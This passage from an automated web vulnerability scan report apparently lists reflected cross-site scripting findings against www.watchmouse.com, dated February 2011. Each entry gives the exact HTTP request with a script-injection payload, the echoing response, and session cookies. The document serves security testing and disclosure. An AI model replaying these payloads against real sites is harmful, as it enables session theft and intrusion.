X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-2580612c6e889abb55a01fc21fecea09"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/es8edef"><script>alert(1)</script>9db211844e/plans_price.php" method="post">
...[SNIP]...

1.591. http://www.watchmouse.com/es/plans_price.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/plans_price.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d2e5"><script>alert(1)</script>97edefa43b4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /es/plans_price.php6d2e5"><script>alert(1)</script>97edefa43b4 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:57 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-es-d234e6ed6a2ad07e92cd8e1715169d79"
Content-Language: es
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13545

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/es/plans_price.php6d2e5"><script>alert(1)</script>97edefa43b4" method="post">
...[SNIP]...

1.592. http://www.watchmouse.com/es/plans_price.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/plans_price.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb924"><script>alert(1)</script>4b3757cb1f1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /es/plans_price.php?bb924"><script>alert(1)</script>4b3757cb1f1=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:50 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-es-79395280ffffee6a97dd2ba266ccc758"
Content-Language: es
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 60606

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/es/plans_price.php?bb924"><script>alert(1)</script>4b3757cb1f1=1" method="post">
...[SNIP]...

1.593. http://www.watchmouse.com/es/register.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/register.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de7dc"><script>alert(1)</script>a702ee620f3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /esde7dc"><script>alert(1)</script>a702ee620f3/register.php?vpackid=35 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:07 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-42644a2ca5d6ace08721d5d686ce09c8"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13181

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/esde7dc"><script>alert(1)</script>a702ee620f3/register.php?vpackid=35" method="post">
...[SNIP]...

1.594. http://www.watchmouse.com/es/register.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/register.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6cb77"><script>alert(1)</script>00443087748 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /es/register.php6cb77"><script>alert(1)</script>00443087748?vpackid=35 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:08 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-es-7519ae4f658868d82a56586a01dbb461"
Content-Language: es
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13617

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/es/register.php6cb77"><script>alert(1)</script>00443087748?vpackid=35" method="post">
...[SNIP]...

1.595. http://www.watchmouse.com/es/register.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/register.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20379"><script>alert(1)</script>0895f9d3261 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /es/register.php?vpackid=35&20379"><script>alert(1)</script>0895f9d3261=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:59 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-es-2dbb4e7ceb63b6b2c81b1d40aed9e263"
Content-Language: es
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 27160

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head><tit
...[SNIP]...
<a href="/en/register.php?vpackid=35&20379"><script>alert(1)</script>0895f9d3261=1" onclick="$('#lang-menu').toggle();">
...[SNIP]...

1.596. http://www.watchmouse.com/es/website_monitoring_features.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/website_monitoring_features.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24eef"><script>alert(1)</script>903c3ba0da7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /es24eef"><script>alert(1)</script>903c3ba0da7/website_monitoring_features.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:38 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-07ba08509d4a9f6295ac72945f611e43"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/es24eef"><script>alert(1)</script>903c3ba0da7/website_monitoring_features.php" method="post">
...[SNIP]...

1.597. http://www.watchmouse.com/es/website_monitoring_features.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/website_monitoring_features.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ec70"><script>alert(1)</script>13a591e69f9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /es/website_monitoring_features.php4ec70"><script>alert(1)</script>13a591e69f9 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:39 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-es-319ff54b3e96a91cf649ec11b78b256d"
Content-Language: es
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13689

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/es/website_monitoring_features.php4ec70"><script>alert(1)</script>13a591e69f9" method="post">
...[SNIP]...

1.598. http://www.watchmouse.com/es/website_monitoring_features.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/es/website_monitoring_features.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9e79"><script>alert(1)</script>2c620c24545 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /es/website_monitoring_features.php?d9e79"><script>alert(1)</script>2c620c24545=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:29:35 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-es-f1162faa4626eb58fe232197dd89c661"
Content-Language: es
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 30745

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/es/website_monitoring_features.php?d9e79"><script>alert(1)</script>2c620c24545=1" method="post">
...[SNIP]...

1.599. http://www.watchmouse.com/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ccdc"><script>alert(1)</script>576dd2045f7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /feature2ccdc"><script>alert(1)</script>576dd2045f7/transaction-monitoring-web-application-testing.html HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/register.php?vpackid=35
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.9.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:53 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-32e33a90a1a6fdeeaf0416628ff582c4"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13478

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature2ccdc"><script>alert(1)</script>576dd2045f7/transaction-monitoring-web-application-testing.html" method="post">
...[SNIP]...

1.600. http://www.watchmouse.com/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e30dc"><script>alert(1)</script>03aba4d349e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /feature/transaction-monitoring-web-application-testing.htmle30dc"><script>alert(1)</script>03aba4d349e HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/register.php?vpackid=35
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.9.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:02 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-ef9af357f4d182aa92581ee822f6c19f"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13478

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feature/transaction-monitoring-web-application-testing.htmle30dc"><script>alert(1)</script>03aba4d349e" method="post">
...[SNIP]...

1.601. http://www.watchmouse.com/feature/transaction-monitoring-web-application-testing.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/feature/transaction-monitoring-web-application-testing.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ef042"><script>alert(1)</script>f5b11d50e0c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /feature/transaction-monitoring-web-application-testing.html?ef042"><script>alert(1)</script>f5b11d50e0c=1 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/register.php?vpackid=35
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.9.10.1297252772

Response (redirected)

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:06:43 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-fb563c6017d0cf55bf1d5e82cc6e39e1"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 24038

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="/en/feature/transaction-monitoring-web-application-testing.html?ef042"><script>alert(1)</script>f5b11d50e0c=1" method="post">
...[SNIP]...

1.602. http://www.watchmouse.com/feed.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/feed.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51c5d"><script>alert(1)</script>60e3686757d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /feed.php51c5d"><script>alert(1)</script>60e3686757d HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:20 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-f61413f7ac2a91e95cd03c5d2fe0ecde"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13019

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/feed.php51c5d"><script>alert(1)</script>60e3686757d" method="post">
...[SNIP]...

1.603. http://www.watchmouse.com/feed.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.watchmouse.com
Path:	/feed.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 687b1<a>2e82533c893 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /feed.php/687b1<a>2e82533c893 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:10:18 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-837ad2275372175bc5a833af2988f681"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml; charset=utf-8
Content-Length: 22323

<?xml version="1.0" encoding="utf-8"?>

<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
<title>WatchMouse website moni
...[SNIP]...
<generator>/feed.php/687b1<a>2e82533c893</generator>
